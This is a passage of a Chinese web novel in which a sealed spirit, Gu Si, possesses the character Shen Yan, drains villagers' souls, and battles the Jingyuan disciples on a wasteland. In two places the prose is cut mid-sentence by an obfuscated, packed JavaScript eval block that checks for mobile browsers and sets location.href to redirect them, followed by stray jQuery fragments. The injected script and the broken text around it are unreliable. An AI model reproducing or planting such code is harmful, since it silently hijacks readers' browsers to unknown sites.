紫光持续了十几秒,然后渐渐黯淡。碎片上出现了一道裂纹,裂纹里渗出黑色的雾气。雾气越来越浓,最后凝聚成一个人形。 那是个看起来和他们年纪差不多的少年,深绿色的短发,发梢挑染着黑色,穿着黑色的劲装,五官凌厉,眼神桀骜。 他悬浮在半空中,低头看着沙滩上的几个人,嘴角微微勾起。 怎么看怎么嚣张。 “哟,这么多年了,还有人能把我放出来。” 所有人都警惕起来。裴衍已经站直了身体,手按在腰间。沈言掌心凝聚出能量。陆时忆挡在江妤身前。宋听澜和时聿也摆出了战斗姿态。 “你是谁?”江淮年问。 “顾肆。”他飘下来,落在沙滩上活动了一下手腕,动作自然得仿佛有实体,但仔细看,他的身体是半透明的,能透过他看见后面的海。 “顾肆?”沈言皱眉,“没听说过。” “你当然没听说过。”顾肆嗤笑,“我被关进这破碎片里的时候,你还没出生呢。” “关进碎片?”江淮年一愣,“你是……灵魂?” “差不多。肉身没了,只剩下这点残魂,被封印在这碎片里。还得谢谢你们,要不是你们能量波动够强,我还出不来。” “你为什么被封印?”裴衍问。 “嗯?当然是因为……我太强了。” 他说这话时语气平淡,但眼神里的傲气藏不住。这是一个极度自信,或者说自负的人。 “你现在想干什么?”江淮年警惕地问。 “不干什么。”顾肆摊手,“我这样子,能干什么?没实体,没力量,就是个游魂。不过……” 他扫了几个人一眼,目光在沈言身上多停留了一秒,“你们这儿,倒是有个不错的苗子。” 沈言皱眉:“你看我干什么?” “混合系,少见。几种元素虽然都弱,但潜力不错。要是能有个风系,就更完美了。”顾肆说完,也不管沈言什么反应,身形就开始变淡,“行了,不跟你们废话了。这世界变化挺大,我逛逛去。有缘再见。” 话音未落,他已经化作一道黑烟,消散在空气中。 沙滩上安静了几秒。 “他……走了?”陆时忆不确定地问。 “走了。”裴衍说,“没实体,留不住。” “他说的话什么意思?”江淮年看向沈言,“什么风系?” “不知道。”沈言摇头,“我哪来的风系。” “可能是胡说的。灵魂状态久了,脑子不清楚也正常。” “但他看起来不像脑子不清楚。”时聿难得开口。 “管他呢。”陆时忆挥挥手,“反正走了就行。咱们继续捡贝壳!” 几个人互相看看,也没太在意。 毕竟顾肆看起来没什么敌意,而且没实体,想作恶也作不了。 于是继续捡贝壳,但心里都留了个疙瘩。 下午去镇上逛,江妤买了条贝壳项链,陆时忆给她付的钱。沈言买了把海螺做的口琴,说要学吹曲子。 江淮年给江妤买了顶遮阳帽,帽檐上缝着小贝壳。 晚上,镇上办篝火晚会。 沙滩上点起十几个火堆,游客和当地人围成圈,唱歌跳舞,烤肉喝酒。静园这几个人也凑热闹,挤进人堆里。 陆时忆拉着江妤去跳舞,江妤一开始不肯,后来被陆时忆硬拽过去,笨拙地跟着跳。 沈言坐在火堆边,试吹那把口琴,吹出来的声音呜呜咽咽,不成调子。 宋听澜和时聿在烤肉,香气飘出老远。裴衍靠在椰子树下,看着热闹的人群,眼神放空。 江淮年坐在沈言旁边,看着他吹口琴。 “你吹的什么?” “不知道。”沈言放下口琴,“瞎吹。” “挺好听的。” “好听个屁,我自己都听不下去。” 两人都笑了。火光噼啪作响,远处传来歌声和笑声,海风吹来,带着咸腥和烤肉的香味。 忽然,江淮年觉得有点不对劲。他转头看向沈言,沈言也正好转头看他。两人对视一眼,都从对方眼里看到了疑惑。 “你感觉到了吗?”江淮年问。 “嗯。有东西过来了。” 话音刚落,一道黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“沈言?”江淮年试探地叫了一声。 “沈言”转头看他,嘴角勾起:“他现在听不见了。这身体,归我了。” 声音是沈言的声音,但语气、神态,完全变了个人。 “你……你占了他的身体?” “借。”顾肆纠正道,“等他没用了,我会还给他。不过……” 他活动了一下手腕,满意地点头,“混合系的身体,果然好用。再加上我的风系,完美。” “把沈言还回来!”江淮年咬牙,掌心凝出冰火能量。 “还?有本事自己来抢。” 他抬手,轻轻一挥。 一道淡青色的风刃凭空出现,呼啸着劈向江淮年。 江淮年慌忙凝出冰盾,风刃撞在冰盾上,冰盾咔嚓裂开,风刃余势不减,擦着他的肩膀飞过去,在沙滩上犁出一道深沟。 好强! 裴衍皱眉:“风系异能……他白天说的风系,是这个意思。” “现在才明白?晚了。” 他双手齐挥,数十道风刃同时出现,从四面八方斩向几人。 裴衍立刻拍地,土墙拔地而起,挡住大部分风刃。但风刃太强,土墙只撑了几秒就崩碎。陆时忆的电光劈过去,顾肆只是随手一挥,一道风墙就把电光弹开。宋听澜的藤蔓刚缠上去,就被风刃切碎。时聿试图靠近,但顾肆周围的风形成领域,根本进不去。 “太弱了。”顾肆摇头,“就这点本事,也敢跟我打?” 他抬手,掌心凝聚出一个旋转的风球。 风球越来越大,越来越快,周围的空气都被扭曲,发出尖锐的呼啸声。 “不好!”江淮年脸色大变,“躲开!” 其他人四散逃开。风球砸在沙滩上,炸开一个直径十几米的大坑。沙子被卷上半空,像下了一场沙雨。 顾肆站在坑边,看着狼狈的几人,微微挑了挑眉,似是很满意。 “今天就这样吧。” “这身体我刚到手,还得适应适应。等适应好了,再来找你们玩。” 说完,他转身,脚下一蹬,整个人化作一道青光,冲天而起,消失在夜空中。 沙滩上安静下来。 篝火早就灭了,只剩下余烬在风里明明灭灭。沙子还在往下落,窸窸窣窣的。 江淮年从沙堆里爬起来,吐掉嘴里的沙子,看向沈言消失的方向,眼睛红了。 “沈言……” “追不上的。”裴衍抹了把脸上的沙,“他现在的速度,我们追不上。” “那怎么办?”陆时忆也爬起来,急得团团转,“沈言被那玩意儿占了身体,咱们得救他啊!” “先回去。”宋听澜冷静地说,“回去找师父。师父可能有办法。” “对,找师父!”江淮年像是抓住了救命稻草,“师父肯定知道!” 几个人互相搀扶着站起来,也顾不上收拾东西了,直奔民宿。退了房,连夜开车往回赶。 车上没人说话。气氛沉重得像压了块石头。江妤坐在江淮年旁边,紧紧握着他的手,手心里都是汗。 江淮年脑子里乱糟糟的。沈言被占身的那一幕一遍遍在眼前回放。那双陌生疯狂的眼睛,那嘲讽的笑容,那强得离谱的异能。 还有顾肆最后那句话:“等适应好了,再来找你们玩。” 玩。 他把这一切当成游戏。 江淮年握紧拳头。 天快亮时,车终于开进静园。萧予已经等在院子里了,看见他们狼狈的样子,眉头一皱。 “出什么事了?” “师父!”江淮年冲下车,语无伦次地说,“沈言……沈言被占了身体!是个叫顾肆的,从碎片里出来的,他会风系异能,强得离谱,我们打不过……” 萧予脸色一变:“顾肆?你们见到顾肆了?” “师父您认识他?”陆时忆惊道。 萧予沉默了几秒,缓缓点头。 “认识。”他说,“他是我曾经的徒弟。” 萧予那句话像块石头砸进水里,砸得所有人都懵了。 19. 失控 “您……您的徒弟?”江淮年第一个反应过来,声音都有点变调,“那个顾肆,是您的徒弟?” 萧予点了点头,脸上的表情很复杂。 他走到石桌旁坐下,示意他们也坐下。 几个人围过来,脸上的表情一个比一个震惊。 “那是很多年前的事了。”萧予缓缓开口,“顾肆……是我捡回来的孩子。那时候他大概八九岁,比你们现在小得多。 他天赋极好,是我见过的最有天赋的孩子之一。风系异能,操控精细,威力强大,学什么都快。” “那他怎么会……”陆时忆忍不住问。 “他太好胜了。”萧予叹了口气,“好胜到偏执的地步。他不能容忍任何人比他强,哪怕是同门师兄弟。有一次训练,他和我另一个徒弟对练。 那孩子性子温和,天赋不如顾肆,但很努力。那场对练本来只是普通的切磋,但顾肆打着打着就失控了。 他用了杀招,那人没防住,重伤,差点没救回来。” 江淮年想起顾肆那双眼睛,心里一寒。 “我罚了他。”萧予继续说,“罚他在后山面壁思过三个月。他那时候小,性子烈,不服。 他说他只是想赢,那孩子弱是他自己没本事,凭什么罚他。我跟他说,对练是切磋,不是生死搏杀,对同门用杀招是大忌。他不听,跟我吵了一架,然后他就跑了。 那天晚上,他打晕了守门的弟子,逃出了静园。 我再也没见过他。后来我听说他在外面惹了不少祸,挑战了不少人,下手极重,再后来……就没消息了。我以为他死在外面了,没想到……” “没想到他被封在碎片里,现在又出来了。”江淮年接口,心里沉甸甸的。 “是。”萧予看向他,“你们说,他现在占了沈言的身体?” “对。”江淮年把海边的事详细说了一遍,从捡到碎片,到顾肆出现,再到篝火晚会上的袭击,“他现在有实体了,是沈言的身体。” 萧予眉头皱得更紧:“顾肆现在占了混合系的身体,风系加上沈言原本的混合能力,麻烦了。” “师父,现在怎么办?”陆时忆急道,“沈言被他占了身体,我们得救他啊!” “救肯定要救。”萧予说,“但顾肆现在的实力,你们也看到了,硬拼打不过。得想别的办法。” “什么办法?”江淮年问。 “顾肆现在是灵魂状态,虽然占了沈言的身体,但灵魂和身体的契合度不会太高。 而且沈言自己的意识应该还在,只是被压制了。如果能找到机会,刺激沈言的意识觉醒,或许能把他挤出去。” “怎么刺激?”宋听澜问。 “用他最在意的事,或者人。”萧予看向江淮年,“沈言最在意什么,你们知道吗?” 几个人互相看看。沈言平时毒舌嚣张,好像什么都不在乎,但真要问他在意什么…… “他父母。”江淮年忽然说,“他父母被影主杀了,这是他最大的心结。” “还有……”江妤小声说,“他很在意静园,在意我们。虽然他不说,但我知道。” “那就从这两方面下手。找到顾肆,想办法让沈言的意识苏醒。只要沈言能夺回一点控制权,顾肆的实力就会大打折扣。到时候再联手,或许能把他逼出来。” “可是顾肆现在在哪我们都不知道。”陆时忆愁眉苦脸,“他那么强,还会飞,想躲我们太容易了。” “他不会躲的。”萧予摇头,“顾肆的性子我了解。 他好胜,自负,他现在占了沈言的身体,拥有了前所未有的力量,他不会躲起来。他一定会做点什么,来证明自己是最强的。” “做什么?”江淮年心里有不好的预感。 “肯定不会是什么好事。你们这几天多注意点周围的动静,顾肆一旦有什么动作,肯定会闹出大动静。” 接下来的几天,静园的气氛紧绷到了极点。 训练强度加倍,每个人都拼了命地练。 第三天下午,坏消息来了。 时聿从外面回来,脸色很难看。他平时就没什么表情,但这次是明显的不对劲。 “怎么了?”裴衍问。 “西边一个村子。”时聿说,“全村一百多口人,一夜之间全成了行尸走肉。” “什么?!”几个人同时站起来。 “我亲眼看见的。”时聿声音发沉,“那些人眼神空洞,走路僵硬,像被抽走了魂。而且……他们身上有黑暗能量的气息。” “黑暗能量?”宋听澜皱眉,“影仆?” “不像。”时聿摇头,“影仆是实体,那些村民还是活人,只是没了魂。而且……”他顿了顿,“我在村子里感觉到了风系异能的残留。” 顾肆! 几个人心里同时冒出这个名字。 “他抽走了村民的灵魂?”江淮年声音发颤,“为什么?” “不知道。但肯定不是什么好事。 而且不止那个村子,我回来的路上听说,附近几个村子也出了类似的事。加起来,至少三四百人。” 三四百人,一夜之间被抽走灵魂。 这手笔,这残忍,让所有人都背后发凉。 “必须阻止他。再这样下去,不知道还有多少人要遭殃。” “怎么阻止?”陆时忆问,“我们连他在哪都不知道。” “他会来找我们的。”萧予从书房走出来,脸色凝重,“顾肆做这些,不光是为了收集灵魂。他在挑衅,在炫耀,在告诉我们,他来了,而且很强。下一步,他一定会来找我们。” 像是印证萧予的话,当天晚上,静园出事了。 午夜时分,江淮年被一阵诡异的呜咽声吵醒。那声音像是风声,又像是无数人在哭,从四面八方传来,听得人头皮发麻。他爬起来,推开窗户往外看。 院子里,月光下,站着十几个人影。不,不是人,是影仆。 但它们和之前见过的影仆不同,身体更加凝实,眼睛是猩红色的,而且它们列着队,整齐地站在院子里,像是在等待命令。 “我靠!”隔壁房间传来陆时忆的惊呼,“影仆!影仆进院子了!” 所有人都被惊醒了。 裴衍第一个冲出来,看见院子里的影仆,脸色一变。他双手按地,土墙瞬间升起,把影仆困在中间。 但影仆不慌不忙,齐齐抬手,黑色的能量波轰在土墙上,土墙剧烈震颤,裂开道道缝隙。 “它们会配合攻击?!影仆什么时候有这种智商了?” “不是智商。”时聿从阴影里现身,短刀出鞘,“是有人在控制它们。” 话音刚落,一个身影从院墙上飘了下来。 顾肆。 他落在影仆前面,那些影仆立刻躬身,像是在行礼。 “晚上好啊各位。”顾肆笑着打招呼,声音是沈言的,但语气轻佻得让人想揍他,“睡不着,带我的新朋友们来串个门,不介意吧?” “顾肆!”江淮年咬牙,“你把沈言还回来!” “还?”顾肆挑眉,“这身体我用得挺顺手的,为什么要还?再说了,沈言自己都没意见,你急什么?” “你放屁!”陆时忆吼道,“沈言怎么可能没意见!” “哦,你说他啊。”顾肆拍了拍胸口,“他在这儿呢,睡得挺香。要不要我叫醒他,让他跟你说句话?” 他闭上眼睛,再睁开时,眼神变了。 没那么桀骜,没那么疯狂,而是属于沈言的冷静。 但那双眼睛里满是痛苦和挣扎。 “江淮年……”沈言的声音从嘴里发出来,断断续续的,“杀了我……快杀了我……” “沈言!”江淮年眼睛红了。 沈言的眼神只维持了几秒,就又变回了顾肆。他咧嘴笑了:“看见没?他求你们杀了他呢。 可惜啊,你们杀不了。这身体现在是你们的伙伴,你们舍得下手吗?” “你……”江淮年气得浑身发抖。 “别激动嘛。”顾肆摆摆手,“我今天来不是跟你们打架的,是来打个招呼。顺便……”他看向那些影仆,“给你们介绍一下我的新能力。” 他抬起手,掌心朝上。黑色的能量从影仆身上涌出,汇聚到他掌心,形成一个旋转的黑球。 黑球越来越大,散发着令人心悸的黑暗气息。 “影仆是黑暗的造物,而我……现在也算半个黑暗生物了。 灵魂状态,带点黑暗能量,控制几个影仆,不过分吧?” “你疯了。”裴衍冷声说,“影仆是世界的毒瘤,你控制它们,是想毁灭世界吗?” “毁灭?不不不。”顾肆摇头,“我是要创造。创造一个全新的、完美的世界。一个没有□□束缚,只有灵魂存在的世界。” 他指向那些影仆:“它们没有□□,只有灵魂能量,多自由,多纯粹。 人类被束缚,会饿,会累,会死。 但如果所有人都变成灵魂状态,就不会有这些烦恼了。 没有疾病,没有衰老,没有死亡。多好。” “好个屁!”江淮年吼道,“那还叫人吗?!” “为什么一定要是人?”顾肆反问,“累赘,灵魂才是永恒。 我就是要让全世界的人都摆脱束缚,成为永恒的存在。而我……” 他张开双臂,“将成为这个新世界的神。” 疯子。 彻头彻尾的疯子。 所有人都明白了顾肆想干什么。 他要把全世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119462|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人都变成灵魂状态,建立一个只有灵魂的世界。 而他自己,将成为这个世界的统治者。 “你不会成功的。”萧予从屋里走出来,看着顾肆,眼神复杂,“肆儿,收手吧。现在回头,还来得及。” “师父。”顾肆看见萧予,笑容淡了些,但眼神里的疯狂没减,“这么多年了,您还是老样子,总想着教训我。可惜啊,现在的我,您教训不了了。” “我不是要教训你。 我只是不想看你一错再错。抽走别人的灵魂,让他们变成行尸走肉,这不是强大,是残忍。” “残忍?弱肉强食,天经地义。 他们弱,所以被我抽走灵魂。 我强,所以我能决定他们的命运。 这有什么不对?” “你……”萧予还想说什么,顾肆抬手打断。 “行了,叙旧就到这儿吧。 我今天来就是打个招呼,告诉你们我要做什么。至于你们……” 他扫了几人一眼,“想阻止我,尽管来。我在西边五十里的荒原等你们。不过提醒一句,我最近又收了几个新手下,到时候可别被吓到哦。” 说完,他身形一晃,化作青光冲天而起。那些影仆也跟着化作黑烟,消散在夜色中。 院子里安静下来。月光依旧明亮,但空气里残留的黑暗能量,让每个人都心里发毛。 “他说的新手下……是什么?”陆时忆小声问。 “不知道。”裴衍说,“但肯定不是什么好东西。” “师父,现在怎么办?”江淮年看向萧予。 萧予沉默了很久,才缓缓开口:“顾肆的实力,比我想象的还强。他能控制影仆,说明他的灵魂已经彻底黑暗化。而且他占了沈言的身体,再加上黑暗能量……很难对付。” “但我们必须对付。不然会有更多人遭殃。” “是。”萧予点头,“但硬拼不行,得智取。顾肆最大的弱点,就是他的自负。他觉得自己无敌,所以会给我们机会。我们要做的,就是找到那个机会,一击必杀。” “怎么找?”宋听澜问。 “等他露出破绽。顾肆好胜,他一定会给我们设置难关,看我们怎么闯。我们要做的,就是闯过去,逼他亲自出手。只要他出手,就有破绽。” “可沈言……”江淮年犹豫,“我们真要杀了他吗?” “不。”萧予摇头,“我们要救他。顾肆现在和沈言的灵魂共用一个身体,杀顾肆,沈言也会死。 我们要做的,是把顾肆的灵魂逼出来,然后封印,或者……消灭。” “逼出来?怎么逼?” “用沈言最在意的事刺激他。顾肆虽然压制了沈言的意识,但沈言还在,只是沉睡了。如果能唤醒他,让他和顾肆争夺身体的控制权,顾肆的实力就会大减。到时候我们再联手,或许能把顾肆逼出来。” “就这么办吧。”萧予拍板,“明天一早,去西边荒原。记住,我们的首要目标是唤醒沈言,次要目标才是对付顾肆。一旦沈言有苏醒的迹象,立刻全力配合他,把顾肆逼出来。” “是!” 这一夜,没人睡得着。 几个人聚在院子里,检查装备,商量战术。 宋听澜给每人发了保命的丹药,江妤给大家的水壶里灌满了治愈水雾。 时聿在磨刀,陆时忆在检查电光符,裴衍在反复练习土弹压缩,江淮年则一遍遍尝试冰火融合的最强形态。 天快亮时,萧予把江淮年单独叫到书房。 “淮年,”萧予看着他,“这次去,最危险的是你。” “为什么?” “因为你是双系,而且和沈言关系最好。 顾肆一定会重点关照你。 你要有心理准备,可能会受很重的伤,甚至……有生命危险。” “我不怕。只要能救沈言,我怎样都行。” “好孩子。”萧予拍了拍他的肩,“但记住,活着最重要。沈言要救,你也要活。明白吗?” “明白。” “这个你拿着。”萧予从怀里掏出一个小木盒,打开,里面是一枚冰蓝色的戒指,“这是我年轻时用的储物戒,里面有些保命的东西。关键时候,或许能用上。” 江淮年接过戒指,戴在手上。戒指自动调整大小,贴合手指。 “谢谢师父。” “去吧。”萧予说,“把沈言带回来。” “是!” 天亮了。 站在静园门口,看向西边。 那里,荒原的方向,等待他们的是一场恶战。 为了沈言,为了那些被抽走灵魂的无辜者,也为了这个他们想保护的世界。 他们必须去。 也必须赢。 20. 荒原 西行五十里,眼前的景色从丘陵变为平原,又从平原变为荒原。 土地是焦褐色的,寸草不生,龟裂的地缝像大地的伤口,一直蔓延到地平线。 天空是灰色的,厚重的云层压得很低,不见阳光,只有一种死气沉沉的昏暗。 “这地方……”陆时忆皱眉,“感觉不太对劲。” 空气里弥漫着一股腐朽的气息,不是尸臭,也不是草木腐烂的味道,而是一种更抽象令人不安的死寂。 风吹过,卷起沙尘,但风声里夹杂着若有若无的呜咽,像无数人在很远的地方哭泣。 “魂化的痕迹。”宋听澜蹲下,捡起一块土,在手里捻了捻,“土地的生命力被抽干了,变成了纯粹的死物。顾肆在加速这个过程。” “他把这里当成实验场了。”时聿看着远处。荒原深处,隐约能看见一些人影在晃动,动作僵硬,漫无目的地游荡,是那些被抽走灵魂的村民。 “先救人。”江淮年说,“能救多少救多少。” “怎么救?”陆时忆问,“他们的魂都没了,就剩个空壳子。” “顾肆抽走的是灵魂,但灵魂应该还在附近。”宋听澜站起身,取出一个罗盘一样的东西,指针是透明的,里面封着一缕淡绿色的光,“这是寻魂盘,能感应到无主灵魂的波动。我们找到那些灵魂,或许能送回去。” “那还等什么?”陆时忆摩拳擦掌,“走!” 六人朝着荒原深处进发。 越往里走,景象越诡异。 土地彻底失去了颜色,变成一种灰败的死灰。空气越来越冷,那些游荡的村民越来越多,他们眼神空洞,脸色青白,像一具具会走路的尸体。 宋听澜手里的寻魂盘开始发光,指针颤动,指向一个方向。 跟着指针走,他们来到一片洼地。洼地里,漂浮着几十个淡白色的光团,拳头大小,像萤火虫一样漫无目的地飘荡。 每个光团里,都隐约能看见一张模糊的人脸,表情或茫然,或痛苦。 “是村民的灵魂。”宋听澜说,“被抽出来,但还没被顾肆吸收,暂时困在这里了。” “怎么送回去?”江淮年问。 “用治愈系能量引导。”江妤上前一步,掌心凝聚出柔和的水蓝色光晕,“我试试。” 水蓝色的光晕像一张温柔的网,缓缓罩向那些光团。光团接触到治愈能量,颤抖了一下,然后像是找到了方向,开始缓缓朝着洼地边缘那些游荡的躯体飘去。一个光团钻进一具躯体的眉心,那躯体猛地一震,眼神恢复了些许神采,但依旧茫然。 “有用!”陆时忆惊喜。 但下一秒,异变陡生。 一道淡青色的风刃凭空出现,呼啸着斩向江妤,裴衍眼疾手快,土墙瞬间升起挡住,风刃斩在土墙上,留下深深的切痕。 “谁?!”江淮年厉喝。 “我啊。”熟悉的声音从上方传来。顾肆悬浮在半空,周身环绕着淡青色的气流。他看着洼地里那些正在回归躯体的灵魂:“谁允许你们动我的东西了?” “顾肆!”江淮年咬牙,“放了沈言!” “又来了。”顾肆叹气,“你们能不能换个台词?沈言沈言沈言,烦不烦人? 他现在是我的。 我的东西,凭什么放?” “他不是东西!”陆时忆吼道,“他是我们的朋友!” “哦……?朋友?”顾肆像是听到了什么笑话,“有什么用?能给你力量吗?能让你变强吗?不能。只有力量才是真的,朋友不过是弱者抱团取暖的借口。” “你错了。”裴衍上前一步,眼神很冷,“一个人再强,也有弱点。但有朋友在,弱点就会被补上。 顾肆,你当年就是因为不懂这个,才会走到今天这一步。” 顾肆的笑容消失了。他看着裴衍,眼神一点点冷下来。 “你懂什么。当年在静园,我比谁都强,比谁都努力。 可师父呢?他永远在说,要团结,要互助,要顾全大局。我赢了,他说我下手重。我练功到吐血,他说我急功近利。我那么努力,不就是想证明我是最强的吗?可他从来不看,从来不懂!” “师父不是不懂。”江淮年说,“他是怕你走错路。你现在这样,不就是走错了吗?” “错?弱才是错,强就是对。我现在够强了,所以我做的,就是对。” “强取豪夺,滥杀无辜,这也叫对?”宋听澜摇头,“顾肆,你已经被力量蒙蔽双眼了。” “蒙蔽?”顾肆抬手,掌心凝聚出一个旋转的黑球,里面隐约能看见无数挣扎的灵魂,“看清楚,这才是世界的真相。弱肉强食,适者生存。我强,所以我能决定他们的命运。你们弱,所以只能在这里说些冠冕堂皇的话。” 他手一握,黑球炸开,化作无数道黑色丝线,射向洼地里那些正在回归的灵魂。 丝线缠住灵魂,强行将它们从躯体里拖出来,重新凝聚成光团,然后被黑球吸回掌心。 “不!”江妤想阻止,但黑色丝线速度太快,她只来得及救下最近的两个。 “看,这就是差距。”顾肆收起黑球,里面的灵魂又多了几十个,“我想拿就拿,你们想救,却救不了。 所以,别白费力气了。好好看着,我是怎么把这个世界,变成我想要的样子。” 他抬手,指向荒原深处。那里的土地开始发生更明显的变化,逐渐变淡。 像褪色的照片,色彩一点点消失,最后变成一种半透明虚幻的状态。 连空气都开始变得稀薄,光线扭曲,景物失真。 “这是……魂化?”时聿声音发紧。 “对。”顾肆满意地看着自己的杰作,“抽走生命力,留下纯粹的灵质。等整个荒原都变成这样,它就会成为新世界的第一块基石。一个没有□□拖累,只有灵魂永存的乐园。” “阻止他!”江淮年率先出手,冰火融合球全力轰出。 顾肆不闪不避,抬手一道风墙挡住,冰火球撞在风墙上,炸开绚烂的光晕,但风墙纹丝不动。 陆时忆的电光,宋听澜的藤蔓,时聿的影刃,裴衍的土弹,同时出手,五颜六色的攻击交织成一张大网,罩向顾肆。 顾肆依旧不躲,只是张开双臂,周身的淡青色气流瞬间暴涨,化作一个旋转的飓风护盾。 所有攻击撞在飓风上,都被弹开、搅碎,连顾肆的衣角都没碰到。 “太弱了。”顾肆摇头,抬手一挥。 飓风护盾炸开,化作无数道风刃,反向席卷而来。 风刃又快又密,根本无处可躲。 防护层层叠叠地竖起,但风刃的威力太强,一层层防御被切碎,眼看就要伤到人。 就在这时,顾肆的身体忽然晃了一下。他脸上的表情僵住,眉头皱起,像是突然头痛。周身的飓风护盾也随之一滞,风刃的威力明显减弱。 是沈言!他在争夺身体的控制权! “沈言!”江淮年大喊,“把他挤出去!” 顾肆的脸色变得很难看。 他闭了闭眼,再睁开时,眼神在沈言和顾肆之间切换,声音也开始夹杂:“闭嘴……你们……都给我……闭嘴!” 他抱着头,身体剧烈颤抖。 周围的飓风失控,胡乱地卷向四周,把地面犁出一道道深沟。那些游荡的村民躯体被卷进去,瞬间被撕碎。 “机会!趁现在!” 几人再次出手,攻击全数命中。 顾肆被轰得倒飞出去,重重砸在地上,溅起一片尘土。他躺在那儿,半天没动。 “成功了?”陆时忆不确定地问。 尘土散去,顾肆慢慢站起来。 他低着头,肩膀在抖。然后,他笑了。 低低的笑,一开始很小声,然后越来越大,最后变成癫狂的大笑。 “哈哈哈哈……有意思,真有意思。” 他抬起头,脸上是顾肆的疯狂表情,但眼神深处,有一丝属于沈言的痛苦,“沈言这小子,平时不声不响的,反抗起来还挺有劲。可惜啊……” 他站起身,拍了拍身上的土:“可惜,还是太弱了。” 话音未落,他身形一晃,瞬间出现在江淮年面前。 速度太快,江淮年根本没反应过来,只看见一只裹着淡青色气流的手,直抓他面门。 “江淮年!”裴衍的土墙在最后一刻升起,挡住那只手。 但顾肆的手直接穿透土墙,抓住江淮年的衣领,把他整个人提了起来。 “你不是跟他关系最好吗?”顾肆盯着江淮年,眼神疯狂,“那我就当着你的面,把他最后一点意识,彻底碾碎。” 他空着的另一只手,猛地按在自己胸口。 掌心黑光爆闪,一股强大的吸力传来,不是吸江淮年,而是吸他自己身体里沈言的意识。 “不——!”江淮年目眦欲裂。 但就在这时,顾肆的手忽然停住了。 他脸上的表情再次扭曲,眼神在顾肆和沈言之间急速切换。 沈言的声音断断续续地传出来:“江……淮年……走……” “走?”顾肆的声音又压回来,“走得了吗?” 他猛地发力,沈言的声音戛然而止。但顾肆自己也受到了反噬,闷哼一声,松开了江淮年,踉跄后退几步,嘴角溢出一缕血丝。 “好……很好……”他抹掉嘴角的血,眼神彻底冷下来,“沈言,你够种。但你越反抗,我越要折磨你。你不是在意这些伙伴吗?我就让你亲眼看着,他们一个个死在你面前。” 他抬手,打了个响指。 荒原深处,地面开始剧烈震动。 裂缝扩大,从里面爬出数十个影仆。 不,不止影仆。 还有之前那些被魂化的土地,此刻也活了过来,化作一个个半透明扭曲的人形怪物。 它们没有五官,只有模糊的轮廓,散发着和影仆类似的黑暗气息,但更飘忽,更诡异。 “魂化造物。”顾肆“好心”的介绍,“用魂化的土地和残留的灵魂碎片糅合出来的小玩具。虽然不如影仆结实,但数量多,而且……杀不死。因为它们本来就不是活的。” 话音刚落,那些魂化造物和影仆同时动了,像潮水一样涌向几人。 数量太多了,密密麻麻,根本看不清有多少。 “散开!别被围住!” 几人立刻分散。但敌人太多了。 影仆还好,物理攻击有效。 那些魂化造物却麻烦得很,刀砍上去像砍空气,能量攻击打上去,它们就散开,过几秒又凝聚起来,根本杀不死。 而且它们数量还在增加,魂化的土地范围在扩大,新生的魂化造物源源不断地从地里冒出来。 “这样下去不行!”陆时忆一道电光劈散几个魂化造物,但它们很快又凝聚起来,“这些东西杀不完!” “得找到控制它们的核心!”江淮年一个冰火球炸开一片,但空缺很快被补上,“顾肆肯定在哪儿留了后手!” “在那边!”时聿的声音从阴影里传来。 他不知何时已经潜行到战圈边缘,指向荒原正中心。 那里,地面比其他地方更淡,几乎完全透明,像一个倒扣的碗。 碗的中心,悬浮着一颗拳头大小的黑色晶石,正源源不断地散发出黑暗能量,催生着魂化造物。 “毁掉那晶石!”裴衍喊道。 “我来!”陆时忆转身就要往那边冲,但被江淮年一把拉住。 “你一个人冲不过去!”江淮年指着晶石周围,那里密密麻麻全是影仆和魂化造物,像一堵墙,“得有人掩护!” “我掩护你。”裴衍说,“时聿,宋听澜,江妤,你们拖住这边的。江淮年,你和陆时忆一起冲,互相照应。” “好!” 计划定下,立刻执行。裴衍双手按地,土刺如林般从地面爆出,硬生生在潮水般的敌人中犁出一条通道,时聿化作一道黑影,在通道两侧穿梭,短刀每次闪现,必有一个影仆或魂化造物被击散。 宋听澜的藤蔓如巨蟒般缠住大片敌人,江妤的治愈水雾则化作屏障,挡住侧翼的攻击。 江淮年和陆时忆抓住机会,沿着通道全力前冲,冰火球开路,电光清场,两人配合默契,硬是在敌潮中杀出一条血路,逼近晶石。 眼看就要冲到晶石前,顾肆的身影忽然出现在晶石旁边。 他好整以暇地抱着手臂,看着冲过来的两人,笑了。 “挺能干嘛。”他说,“可惜,到此为止了。” 他抬手,轻轻一按。 晶石周围的空气瞬间扭曲,化作一个透明旋转的牢笼,把晶石护在中间。 牢笼表面流转着淡青色的风系能量和黑色的黑暗能量,气息危险。 “风暗双系结界。想破开,得用同等强度的能量对冲。你们俩,行吗?” 江淮年和陆时忆对视一眼。 能行吗? 不知道,但必须试试。 “我来主攻,你辅助。”江淮年说。 “好!” 江淮年深吸一口气,双手掌心,冰蓝和赤红两色光芒亮到极致。 他没有把两股能量融合,而是让它们保持独立,但彼此紧贴,形成一个高速旋转的能量球。球心是冰,球表是火,冰火相斥的能量在旋转中达到一种危险的平衡。 “去!”他双手一推,能量球呼啸着撞向结界。 陆时忆同时出手,双掌齐推,电光如龙般缠绕在能量球上,为它附加上雷系的穿透和爆发力。 三系混合,这是他们第一次尝试。能量球撞在结界上,没有爆炸,而是像钻头一样高速旋转,疯狂地切割渗透结界。 结界剧烈震颤,表面出现蛛网般的裂纹,淡青色和黑色的能量疯狂涌动,试图修复,但能量球的破坏速度更快。 “咔嚓——” 结界碎了。晶石暴露出来。 “就是现在!”陆时忆大喊,掌心凝聚出最强的电光,就要劈向晶石!
